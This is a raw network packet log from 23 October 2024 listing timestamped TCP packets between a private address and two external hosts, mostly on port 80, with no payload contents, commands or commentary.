Oct 23, 2024 17:51:46.194601059 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194626093 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194638968 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194664001 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.194694996 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194729090 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.194729090 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.195374966 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195426941 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.195427895 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195466042 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195497990 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195516109 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195533991 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195544958 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.195564985 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.195569038 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195586920 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.195604086 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195615053 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.195641041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195647955 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.195677042 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.195688009 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.195722103 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.196278095 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.196332932 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.196336985 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.196368933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.196391106 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.196403980 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.196413994 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.196440935 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.196455002 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.196480036 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.196486950 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.196527004 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.198568106 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.198606014 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.198623896 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.198662043 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.285368919 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.327337980 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.353842020 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.353883028 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.353912115 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.353936911 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.353948116 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.353967905 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.353981972 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354001999 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354010105 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354039907 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354046106 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354053020 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354093075 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354096889 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354131937 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354139090 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354166031 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354175091 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354208946 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354224920 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354254961 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354264975 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354295969 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354305029 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354338884 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354353905 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354367971 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354382992 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354412079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354500055 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354535103 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354572058 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354572058 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354573965 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354618073 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354626894 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354677916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354679108 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354717016 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354729891 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354763985 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354763985 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354800940 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354813099 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354835033 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354845047 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354880095 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354893923 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354928017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.354933977 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354974985 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.354981899 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355027914 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355032921 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355067015 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355086088 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355101109 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355107069 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355135918 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355154991 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355170012 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355180979 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355204105 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355222940 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355235100 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355251074 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355277061 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355284929 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355336905 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355348110 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355381966 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355395079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355417013 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355427027 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355452061 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355462074 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355485916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355493069 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355519056 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355530024 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355552912 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355562925 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355583906 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355596066 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355617046 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355628014 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355652094 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355658054 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355685949 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355695963 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355721951 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355727911 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355756044 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355767965 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355793953 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355799913 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355845928 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355863094 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355895996 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355907917 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355931997 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355940104 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355964899 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.355973959 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.355999947 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.356009007 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.356033087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.356043100 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.356067896 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.356075048 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.356103897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.356111050 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.356148958 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.361653090 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.361689091 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.361720085 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.361723900 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.361732006 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.361771107 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.361793995 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.361848116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.361856937 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.361882925 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.361900091 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.361920118 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.361926079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.361953974 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.361970901 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.361991882 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.361996889 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362026930 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362044096 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362063885 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362067938 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362097979 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362107038 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362133026 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362143993 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362169027 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362176895 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362206936 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362221003 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362251043 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362329960 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362387896 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362487078 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362519979 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362535954 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362555981 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362560987 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362607956 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362607956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362644911 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362663984 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362679958 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362689972 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362715006 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362734079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362750053 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362759113 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362786055 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362797976 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362819910 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362833023 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362859964 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362864971 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362893105 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362921000 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362929106 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362929106 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362962961 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.362972975 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.362998009 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363009930 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363033056 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363046885 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363070011 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363080978 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363105059 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363121033 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363142014 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363154888 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363178015 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363197088 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363214016 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363224030 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363250017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363265991 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363297939 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363337040 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363373995 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363394976 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363410950 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.363411903 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.363466024 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515202045 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515254974 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515276909 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515317917 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515350103 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515398979 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515408993 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515446901 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515466928 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515481949 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515494108 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515518904 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515527010 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515551090 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515563965 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515595913 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515604973 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515657902 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515660048 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515691042 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515733957 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515743971 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515779018 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515780926 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515810013 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515815020 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515837908 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515851974 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515855074 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515886068 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515898943 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515919924 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515933990 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515955925 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.515965939 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.515990973 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516000032 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516036034 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516043901 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516093969 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516099930 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516134977 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516139984 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516170025 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516189098 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516213894 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516222954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516259909 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516279936 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516294956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516304016 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516331911 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516344070 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516374111 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516381979 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516421080 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516427040 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516459942 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516472101 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516499043 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516515017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516567945 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516572952 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516602993 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516607046 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516637087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516649008 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516690016 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516690969 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516725063 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516741991 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516767025 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516767979 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516801119 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516808987 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516855955 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516890049 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516891956 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516911030 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516925097 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.516933918 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516973019 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.516977072 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517019033 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517030954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517066002 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517081022 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517101049 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517110109 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517132044 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517154932 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517177105 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517184973 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517220020 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517229080 CEST	49900	80	192.168.2.6	185.215.113.16
